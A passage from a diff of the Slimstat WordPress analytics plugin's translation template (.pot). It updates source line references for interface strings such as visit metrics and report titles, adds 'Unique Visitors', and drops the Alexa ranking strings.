admin\u002Fview\u002Fwp-slimstat-db.php:1083\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1334\n msgid \"From External SERP\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1085\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1336\n msgid \"Visitors who clicked on a link to your website listed on a search engine result page (SERP). This metric only counts visits coming from EXTERNAL search pages.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1087\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1338\n msgid \"Unique Landing Pages\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1089\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1340\n msgid \"A landing page is the first page on your website that a visitors opens, also known as \u003Cem>entrance page\u003C\u002Fem>. For example, if they search for 'Brooklyn Office Space,' and they land on a page on your website, this page gets counted (for that visit) as a landing page.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1091\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1342\n msgid \"Bounce Pages\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1093\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1344\n msgid \"Number of single-page visits tracked over the selected period of time.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1095\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1346\n msgid \"New Visitors Rate\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1097\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1348\n msgid \"Percentage of single-page visits, i.e. visits in which the person left your site from the entrance page.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1099\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1350\n msgid \"Currently from search engines\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1101\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1352\n msgid \"Visitors who clicked on a link to your website listed on a search engine result page (SERP), tracked in the last 5 minutes.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1113\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1364\n msgid \"0 - 30 seconds\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1119\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1370\n msgid \"31 - 60 seconds\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1125\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1376\n msgid \"1 - 3 minutes\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1131\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1382\n msgid \"3 - 5 minutes\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1137\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1388\n msgid \"5 - 7 minutes\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1143\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1394\n msgid \"7 - 10 minutes\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1149\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1400\n msgid \"More than 10 minutes\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1160\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1411\n msgid \"Average Visit Duration\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1183\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:298\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1434\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:300\n msgid \"Visits\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1185\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1436\n msgid \"A visit is a group of pageviews within a 30-minute time span. Returning visitors are counted multiple times if they start a new visit.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1189\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1440\n msgid \"It includes only traffic generated by human visitors.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1191\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1442\n msgid \"Bounce rate\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1193\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1444\n msgid \"Total number of one-page visits divided by the total number of entries to a website. Please see the \u003Ca href=\\\"https:\u002F\u002Fsupport.google.com\u002Fanalytics\u002Fanswer\u002F1009409?hl=en\\\" target=\\\"_blank\\\">official Google docs\u003C\u002Fa> for more information.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1195\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1446\n msgid \"Known visitors\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1197\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1448\n msgid \"Visitors who have previously left a comment on your blog.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1199\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1450\n msgid \"Single-page Visits\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1201\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1452\n msgid \"Human users that generated one single page view on your website.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1206\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1457\n msgid \"Pageviews per visit\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1209\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1460\n msgid \"Longest visit\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1210\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1461\n msgid \"hits\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1220\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1474\n msgid \"Content Items\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1222\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1476\n msgid \"This value includes not only posts and pages, but any custom post type, regardless of their status.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1224\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1478\n msgid \"Posts\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1227\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1481\n msgid \"Pages\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1230\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1484\n msgid \"Attachments\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1233\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1487\n msgid \"Revisions\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1236\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1490\n msgid \"Comments\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1239\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1493\n msgid \"Avg Comments per Post\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1242\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1496\n msgid \"Avg Server Latency\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1244\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1498\n msgid \"Latency is the amount of time it takes for the host server to receive and process a request for a page object. The amount of latency depends largely on how far away the user is from the server.\"\n msgstr \"\"\n \n@@ -2096,7 +2404,7 @@\n msgstr \"\"\n \n #: admin\u002Fview\u002Fwp-slimstat-reports.php:55\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:288\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:290\n msgid \"Human Visits\"\n msgstr \"\"\n \n@@ -2109,7 +2417,7 @@\n msgstr \"\"\n \n #: admin\u002Fview\u002Fwp-slimstat-reports.php:64\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:846\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:851\n msgid \"Pages with Outbound Links\"\n msgstr \"\"\n \n@@ -2138,8 +2446,8 @@\n msgstr \"\"\n \n #: admin\u002Fview\u002Fwp-slimstat-reports.php:91\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:502\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:511\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:504\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:513\n msgid \"Users\"\n msgstr \"\"\n \n@@ -2179,6 +2487,10 @@\n msgid \"Bot or Crawler\"\n msgstr \"\"\n \n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:125\n+msgid \"Unique Visitors\"\n+msgstr \"\"\n+\n #: admin\u002Fview\u002Fwp-slimstat-reports.php:133\n msgid \"At a Glance\"\n msgstr \"\"\n@@ -2207,331 +2519,334 @@\n msgid \"Top Referring Domains\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:195\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:196\n msgid \"Top Known Visitors\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:206\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:207\n msgid \"Top Search Terms\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:218\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1718\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:219\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1739\n msgid \"Top Countries\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:228\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:229\n msgid \"You can configure Slimstat to not track specific Countries by setting the corresponding filter in Slimstat > Settings > Exclusions.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:231\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:232\n msgid \"Rankings\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:238\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:239\n msgid \"Slimstat retrieves live information from Alexa, Facebook and Mozscape, to measures your site's rankings. Values are updated every 12 hours. Please enter your personal access ID in the settings to access your personalized Mozscape data.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:241\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:242\n msgid \"Top Language Families\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:254\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:255\n msgid \"Users Currently Online\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:265\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:267\n msgid \"When visitors leave a comment on your blog, WordPress assigns them a cookie. Slimstat leverages this information to identify returning visitors. Please note that visitors also include registered users.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:279\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:281\n+#: views\u002Fmodules\u002Fchart-view.php:93\n msgid \"Unique Terms\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:307\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:309\n msgid \"Audience Overview\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:314\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:316\n msgid \"Where not otherwise specified, the metrics in this report are referred to human visitors.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:317\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:319\n msgid \"Top Languages\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:328\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:330\n msgid \"Top User Agents\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:337\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:339\n msgid \"This report includes all types of clients, both bots and humans.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:340\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:342\n msgid \"Top Service Providers\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:349\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:361\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:351\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:363\n msgid \"Internet Service Provider: a company which provides other companies or individuals with access to the Internet. Your DSL or cable internet service is provided to you by your ISP.\u003Cbr>\u003Cbr>You can ignore specific IP addresses by setting the corresponding filter under Settings > Slimstat > Filters.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:352\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:354\n msgid \"Top Operating Systems\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:364\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:366\n msgid \"Top Screen Resolutions\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:376\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:378\n msgid \"Top Viewport Sizes\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:394\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:396\n msgid \"All values represent the percentages of pageviews within the corresponding time range.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:397\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:399\n msgid \"Recent Countries\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:408\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:410\n msgid \"Recent Viewport Sizes\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:419\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:421\n msgid \"Recent Operating Systems\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:430\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:432\n msgid \"Recent Browsers\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:441\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:443\n msgid \"Recent Languages\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:452\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:454\n msgid \"Top Browser Families\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:461\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:463\n msgid \"This report shows you what user agent families (no version considered) are popular among your visitors.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:464\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:466\n msgid \"Top OS Families\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:475\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:477\n msgid \"This report shows you what operating system families (no version considered) are popular among your visitors.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:478\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:480\n msgid \"Recent Users\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:490\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:492\n msgid \"Top Users\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:512\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:514\n msgid \"Unique Users\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:520\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:522\n msgid \"Top Bots\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:532\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:534\n msgid \"Top Human Browsers\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:555\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:557\n msgid \"Domains\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:564\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:566\n msgid \"Traffic Summary\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:574\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:576\n msgid \"Recent Outbound Links\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:586\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:588\n msgid \"Recent Posts\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:599\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:601\n msgid \"Recent Feeds\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:611\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:614\n msgid \"Recent Pages Not Found\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:623\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:626\n msgid \"Recent Internal Searches\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:633\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:637\n msgid \"Searches performed using WordPress' built-in search functionality.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:636\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:640\n msgid \"Top Categories\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:648\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:652\n msgid \"Top Downloads\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:659\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:663\n msgid \"You can configure Slimstat to track specific file extensions as downloads.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:662\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:666\n msgid \"Recent Custom Events\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:671\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:695\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:675\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:699\n msgid \"This report lists any \u003Cem>event\u003C\u002Fem> occurred on your website. Please refer to the FAQ for more information on how to use this functionality.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:674\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:678\n msgid \"Top Posts\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:686\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:690\n msgid \"Top Custom Events\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:698\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:702\n msgid \"Top Internal Searches\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:710\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:715\n msgid \"Recent Categories\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:723\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:728\n msgid \"Recent Tags\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:736\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:741\n msgid \"Top Pages Not Found\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:748\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:753\n msgid \"Top Authors\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:759\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:764\n msgid \"Top Tags\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:771\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:776\n msgid \"Recent Downloads\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:783\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:788\n msgid \"Top Outbound Links\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:795\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:800\n msgid \"Your Website\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:802\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:807\n msgid \"Your content at a glance: posts, comments, pingbacks, etc. Please note that this report is not affected by the filters set here above.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:805\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:810\n msgid \"Top Bounce Pages\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:819\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:824\n msgid \"Top Exit Pages\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:832\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:837\n msgid \"Top Entry Pages\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:855\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:860\n msgid \"Outbound Links\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:856\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:861\n msgid \"Unique Outbound\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:864\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:869\n msgid \"Users by Page\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:875\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:880\n msgid \"Audience Location\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:882\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:887\n msgid \"Dots on the map represent the most recent pageviews geolocated by City. This feature is only available by enabling the corresponding precision level in the settings.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:888\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:893\n msgid \"Top Cities\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:958\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:992\n+#: src\u002FReports\u002FAbstracts\u002FAbstractReport.php:275\n msgid \"Refresh\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1015\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1055\n #, php-format\n msgid \"Showing %s - %s of %s\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1018\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1058\n msgid \"Refresh in\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1145\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1207\n msgid \"Tag\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1148\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1157\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1210\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1219\n msgid \"ID\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1154\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1216\n msgid \"Category\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1173\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1198\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1204\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1235\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1263\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1268\n msgid \"Code\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1247\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1311\n msgid \"URL\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1267\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1331\n msgid \"No referrer\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1270\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1334\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:68\n msgid \"Referrer\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1287\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1313\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1351\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1377\n #: languages\u002Findex.php:11\n #: languages\u002Findex.php:14\n #: languages\u002Findex.php:15\n@@ -2544,85 +2859,65 @@\n msgid \"Unknown\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1291\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1317\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1355\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1381\n msgid \"Guest\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1466\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1535\n msgid \"Page\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1466\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1535\n msgid \"Date\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1526\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1528\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1595\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1597\n msgid \"Filter by element in a group\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1564\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1634\n msgid \"Moz Domain Authority\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1565\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1635\n msgid \"A normalized 100-point score representing the likelihood of a domain to rank well in search engine results.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1569\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1639\n msgid \"Moz Backlinks\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1570\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1640\n msgid \"Number of external equity links to your website.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1574\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1644\n msgid \"Moz Links\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1575\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1645\n msgid \"The number of links (external, equity or nonequity or not) to your homepage.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1579\n-msgid \"Alexa World Rank\"\n-msgstr \"\"\n-\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1580\n-msgid \"Alexa is a subsidiary company of Amazon.com which provides commercial web traffic data.\"\n-msgstr \"\"\n-\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1584\n-msgid \"Alexa Country Rank\"\n-msgstr \"\"\n-\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1589\n-msgid \"Alexa Popularity\"\n-msgstr \"\"\n-\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1648\n-msgid \"Alexa Delta\"\n-msgstr \"\"\n-\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1800\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1833\n msgid \"src\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1804\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1837\n msgid \"serp\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1831\n+#: 